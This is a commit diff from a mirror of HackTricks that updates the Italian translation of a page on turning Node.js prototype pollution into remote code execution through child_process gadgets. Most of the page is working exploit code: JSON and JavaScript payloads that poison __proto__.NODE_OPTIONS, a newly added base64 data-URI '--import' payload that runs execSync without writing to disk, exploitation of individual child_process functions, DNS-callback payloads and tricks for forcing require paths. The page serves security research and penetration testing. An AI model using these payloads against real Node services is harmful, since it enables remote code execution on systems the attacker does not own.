mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p
This commit is contained in:
parent
e63cd3ee78
commit
b2d7c8b8d0
@ -41,7 +41,7 @@ var proc = fork("a_file.js")
|
||||
|
||||
**PP2RCE** significa **Prototype Pollution to RCE** (Esecuzione Remota di Codice).
|
||||
|
||||
Secondo questo [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), quando un **processo viene avviato** con qualche metodo da **`child_process`** (come `fork` o `spawn` o altri) chiama il metodo `normalizeSpawnArguments` che è un **gadget di inquinamento del prototipo per creare nuove variabili d'ambiente**:
|
||||
Secondo questo [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), quando un **processo viene avviato** con qualche metodo da **`child_process`** (come `fork` o `spawn` o altri), chiama il metodo `normalizeSpawnArguments` che è un **gadget di inquinamento del prototipo per creare nuove variabili d'ambiente**:
|
||||
```javascript
|
||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||
|
||||
@ -66,12 +66,12 @@ Controlla quel codice, puoi vedere che è possibile **avvelenare `envPairs`** se
|
||||
### **Avvelenamento di `__proto__`**
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che a causa di come funziona la funzione **`normalizeSpawnArguments`** della libreria **`child_process`** di node, quando qualcosa viene chiamato per **impostare una nuova variabile env** per il processo, devi solo **inquinare qualsiasi cosa**.\
|
||||
> Ad esempio, se fai `__proto__.avar="valuevar"` il processo verrà avviato con una var chiamata `avar` con valore `valuevar`.
|
||||
> Nota che a causa di come funziona la funzione **`normalizeSpawnArguments`** della libreria **`child_process`** di node, quando qualcosa viene chiamato per **impostare una nuova variabile env** per il processo, è sufficiente **inquinare qualsiasi cosa**.\
|
||||
> Ad esempio, se fai `__proto__.avar="valuevar"` il processo verrà avviato con una variabile chiamata `avar` con valore `valuevar`.
|
||||
>
|
||||
> Tuttavia, affinché la **variabile env sia la prima** devi **inquinare** l'**attributo `.env`** e (solo in alcuni metodi) quella var sarà la **prima** (consentendo l'attacco).
|
||||
> Tuttavia, affinché la **variabile env sia la prima** devi **inquinare** l'**attributo `.env`** e (solo in alcuni metodi) quella variabile sarà la **prima** (consentendo l'attacco).
|
||||
>
|
||||
> Ecco perché **`NODE_OPTIONS`** **non è dentro `.env`** nell'attacco seguente.
|
||||
> Ecco perché **`NODE_OPTIONS`** non è **all'interno di `.env`** nel seguente attacco.
|
||||
```javascript
|
||||
const { execSync, fork } = require("child_process")
|
||||
|
||||
@ -149,9 +149,50 @@ clone(USERINPUT)
|
||||
var proc = fork("a_file.js")
|
||||
// This should create the file /tmp/pp2rec
|
||||
```
|
||||
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
|
||||
|
||||
> [!NOTE]
|
||||
> Dalla **Node.js 19** il flag CLI `--import` può essere passato attraverso `NODE_OPTIONS` nello stesso modo in cui si può fare con `--require`. A differenza di `--require`, `--import` comprende **data-URIs** quindi l'attaccante non ha **bisogno di accesso in scrittura al file-system**. Questo rende il gadget molto più affidabile in ambienti bloccati o in sola lettura.
|
||||
>
|
||||
> Questa tecnica è stata documentata pubblicamente per la prima volta dalla ricerca di PortSwigger nel maggio 2023 ed è stata successivamente riprodotta in diverse sfide CTF.
|
||||
|
||||
L'attacco è concettualmente identico ai trucchi `--require /proc/self/*` mostrati sopra, ma invece di puntare a un file, incorporiamo il payload direttamente in un URL `data:` codificato in base64:
|
||||
```javascript
|
||||
const { fork } = require("child_process")
|
||||
|
||||
// Manual pollution
|
||||
b = {}
|
||||
|
||||
// Javascript that is executed once Node parses the import URL
|
||||
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
|
||||
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
|
||||
|
||||
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
|
||||
// any key that will force spawn (fork) – same as earlier examples
|
||||
fork("./a_file.js");
|
||||
```
|
||||
Abusare del vulnerabile sink di merge/clone mostrato in cima alla pagina:
|
||||
```javascript
|
||||
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
|
||||
clone(USERINPUT);
|
||||
|
||||
// Gadget trigger
|
||||
fork("./a_file.js");
|
||||
// → creates /tmp/pp2rce_import
|
||||
```
|
||||
### Perché `--import` è utile
|
||||
1. **Nessuna interazione con il disco** – il payload viaggia interamente all'interno della riga di comando e dell'ambiente del processo.
|
||||
2. **Funziona con ambienti solo ESM** – `--import` è il modo canonico per pre-caricare JavaScript nelle moderne versioni di Node che di default utilizzano ECMAScript Modules.
|
||||
3. **Ignora alcune liste di autorizzazione `--require`** – alcune librerie di indurimento filtrano solo `--require`, lasciando `--import` intatto.
|
||||
|
||||
> [!WARNING]
|
||||
> Il supporto per `--import` in `NODE_OPTIONS` è ancora presente nell'ultima **Node 22.2.0** (giugno 2025). Il team core di Node sta discutendo di limitare i data-URI in futuro, ma al momento della scrittura non è disponibile alcuna mitigazione.
|
||||
|
||||
---
|
||||
|
||||
## Interazione DNS
|
||||
|
||||
Utilizzando i seguenti payload è possibile abusare della variabile d'ambiente NODE_OPTIONS di cui abbiamo parlato in precedenza e rilevare se ha funzionato con un'interazione DNS:
|
||||
Utilizzando i seguenti payload è possibile abusare della variabile d'ambiente NODE_OPTIONS di cui abbiamo discusso in precedenza e rilevare se ha funzionato con un'interazione DNS:
|
||||
```json
|
||||
{
|
||||
"__proto__": {
|
||||
@ -171,7 +212,7 @@ Oppure, per evitare che i WAF chiedano il dominio:
|
||||
}
|
||||
}
|
||||
```
|
||||
## PP2RCE vulnerabilità funzioni child_process
|
||||
## PP2RCE vuln child_process functions
|
||||
|
||||
In questa sezione analizzeremo **ogni funzione di `child_process`** per eseguire codice e vedere se possiamo utilizzare qualche tecnica per forzare quella funzione a eseguire codice:
|
||||
|
||||
@ -207,7 +248,7 @@ var proc = exec("something")
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>esploitazione di <code>execFile</code></strong></summary>
|
||||
<summary><strong><code>execFile</code> sfruttamento</strong></summary>
|
||||
```javascript
|
||||
// environ trick - not working
|
||||
// It's not possible to pollute the .en attr to create a first env var
|
||||
@ -227,10 +268,10 @@ var proc = execFile("/usr/bin/node")
|
||||
|
||||
// Windows - not working
|
||||
```
|
||||
Per **`execFile`** per funzionare **DEVE eseguire node** affinché i NODE_OPTIONS funzionino.\
|
||||
Se **non** sta eseguendo **node**, devi trovare come **modificare l'esecuzione** di ciò che sta eseguendo **con le variabili d'ambiente** e impostarle.
|
||||
Per **`execFile`** per funzionare **DEVE eseguire node** affinché le NODE_OPTIONS funzionino.\
|
||||
Se **non** sta eseguendo **node**, devi trovare come **modificare l'esecuzione** di ciò che sta eseguendo **con variabili d'ambiente** e impostarle.
|
||||
|
||||
Le **altre** tecniche **funzionano** senza questo requisito perché è **possibile modificare** **ciò che viene eseguito** tramite la contaminazione del prototipo. (In questo caso, anche se puoi inquinare `.shell`, non inquinerai ciò che viene eseguito).
|
||||
Le **altre** tecniche **funzionano** senza questo requisito perché è **possibile modificare** **ciò che viene eseguito** tramite inquinamento del prototipo. (In questo caso, anche se puoi inquinare `.shell`, non inquinerai ciò che viene eseguito).
|
||||
|
||||
</details>
|
||||
|
||||
@ -369,7 +410,7 @@ var proc = execSync("something")
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>esploitazione di <code>execSync</code></strong></summary>
|
||||
<summary><strong><code>execSync</code> sfruttamento</strong></summary>
|
||||
```javascript
|
||||
// environ trick - working with small variation (shell and argv0)
|
||||
// Working after kEmptyObject (fix)
|
||||
@ -414,7 +455,7 @@ var proc = execSync("something")
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>esploitazione di <code>spawnSync</code></strong></summary>
|
||||
<summary><strong><code>spawnSync</code> sfruttamento</strong></summary>
|
||||
```javascript
|
||||
// environ trick - working with small variation (shell and argv0)
|
||||
// NOT working after kEmptyObject (fix) without options
|
||||
@ -463,11 +504,11 @@ var proc = spawnSync("something")
|
||||
|
||||
## Forzare Spawn
|
||||
|
||||
Negli esempi precedenti hai visto come attivare il gadget, una funzionalità che **chiama `spawn`** deve essere **presente** (tutti i metodi di **`child_process`** utilizzati per eseguire qualcosa lo chiamano). Nell'esempio precedente, questo era **parte del codice**, ma cosa succede se il codice **non** lo chiama.
|
||||
Negli esempi precedenti hai visto come attivare il gadget, una funzionalità che **chiama `spawn`** deve essere **presente** (tutti i metodi di **`child_process`** utilizzati per eseguire qualcosa lo chiamano). Nell'esempio precedente questo era **parte del codice**, ma cosa succede se il codice **non** lo chiama.
|
||||
|
||||
### Controllare un percorso di file require
|
||||
|
||||
In questo [**altro articolo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) l'utente può controllare il percorso del file dove un **`require`** verrà eseguito. In quel scenario, l'attaccante deve semplicemente **trovare un file `.js` all'interno del sistema** che **eseguirà un metodo spawn quando importato.**\
|
||||
In questo [**altro writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) l'utente può controllare il percorso del file dove un **`require`** verrà eseguito. In quel scenario l'attaccante deve solo **trovare un file `.js` all'interno del sistema** che **eseguirà un metodo spawn quando importato.**\
|
||||
Alcuni esempi di file comuni che chiamano una funzione spawn quando importati sono:
|
||||
|
||||
- /path/to/npm/scripts/changelog.js
|
||||
@ -502,7 +543,7 @@ done
|
||||
> [!WARNING]
|
||||
> La **tecnica precedente richiede** che l'**utente controlli il percorso del file** che deve essere **richiesto**. Ma questo non è sempre vero.
|
||||
|
||||
Tuttavia, se il codice eseguirà un require dopo l'inquinamento del prototipo, anche se **non controlli il percorso** che verrà richiesto, puoi **forzare un percorso diverso abusando dell'inquinamento del prototipo**. Quindi, anche se la riga di codice è come `require("./a_file.js")` o `require("bytes")`, **richiederà il pacchetto che hai inquinato**.
|
||||
Tuttavia, se il codice eseguirà un require dopo l'inquinamento del prototipo, anche se **non controlli il percorso** che deve essere richiesto, puoi **forzare un percorso diverso abusando dell'inquinamento del prototipo**. Quindi, anche se la riga di codice è come `require("./a_file.js")` o `require("bytes")`, **richiamerà il pacchetto che hai inquinato**.
|
||||
|
||||
Pertanto, se un require viene eseguito dopo il tuo inquinamento del prototipo e non c'è una funzione di spawn, questo è l'attacco:
|
||||
|
||||
@ -556,7 +597,7 @@ fork("anything")
|
||||
|
||||
#### Require relativo - 1
|
||||
|
||||
Se viene caricato un **percorso relativo** invece di un percorso assoluto, puoi far sì che node **carichi un percorso diverso**:
|
||||
Se viene caricata una **percorso relativo** invece di un percorso assoluto, puoi far sì che node **carichi un percorso diverso**:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="exploit"}}
|
||||
@ -658,30 +699,36 @@ NODE_OPTIONS: "--require=/proc/self/environ",
|
||||
|
||||
require("./usage.js")
|
||||
```
|
||||
## Gadget VM
|
||||
## VM Gadgets
|
||||
|
||||
Nel documento [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) è anche indicato che il controllo di **`contextExtensions`** da alcuni metodi della libreria **`vm`** potrebbe essere utilizzato come gadget.\
|
||||
Tuttavia, come i precedenti metodi di **`child_process`**, è stato **risolto** nelle ultime versioni.
|
||||
|
||||
## Correzioni e protezioni inaspettate
|
||||
## Fixes & Unexpected protections
|
||||
|
||||
Si prega di notare che la contaminazione del prototipo funziona se l'**attributo** di un oggetto a cui si accede è **undefined**. Se nel **codice** quell'**attributo** è **impostato** a un **valore**, non **sarai in grado di sovrascriverlo**.
|
||||
|
||||
Nel giugno 2022, da [**questo commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la var `options` invece di un `{}` è un **`kEmptyObject`**. Questo **previene una contaminazione del prototipo** che influisce sugli **attributi** di **`options`** per ottenere RCE.\
|
||||
Almeno dalla v18.4.0 questa protezione è stata **implementata**, e quindi gli **exploit** di `spawn` e `spawnSync` che influenzano i metodi **non funzionano più** (se non vengono utilizzati `options`!).
|
||||
Nel giugno 2022 da [**questo commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) la var `options` invece di un `{}` è un **`kEmptyObject`**. Questo **previene una contaminazione del prototipo** che influisce sugli **attributi** di **`options`** per ottenere RCE.\
|
||||
Almeno dalla v18.4.0 questa protezione è stata **implementata**, e quindi gli **exploits** di `spawn` e `spawnSync` che influenzano i metodi **non funzionano più** (se non vengono utilizzati `options`!).
|
||||
|
||||
In [**questo commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) la **contaminazione del prototipo** di **`contextExtensions`** dalla libreria vm è stata **anche in parte risolta** impostando le opzioni a **`kEmptyObject`** invece di **`{}`.**
|
||||
|
||||
### **Altri Gadget**
|
||||
> [!INFO]
|
||||
> **Node 20 (aprile 2023) & Node 22 (aprile 2025)** hanno introdotto ulteriori indurimenti: diversi helper di `child_process` ora copiano le `options` fornite dall'utente con **`CopyOptions()`** invece di usarle per riferimento. Questo blocca la contaminazione di oggetti annidati come `stdio`, ma **non protegge dai trucchi `NODE_OPTIONS` / `--import`** descritti sopra – quelle flag sono ancora accettate tramite variabili d'ambiente.
|
||||
> Una soluzione completa dovrebbe limitare quali flag CLI possono essere propagati dal processo padre, il che è in fase di monitoraggio nel Node Issue #50559.
|
||||
|
||||
### **Other Gadgets**
|
||||
|
||||
- [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
|
||||
- [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
|
||||
|
||||
## Riferimenti
|
||||
## References
|
||||
|
||||
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
||||
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
|
||||
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
|
||||
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
|
||||
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user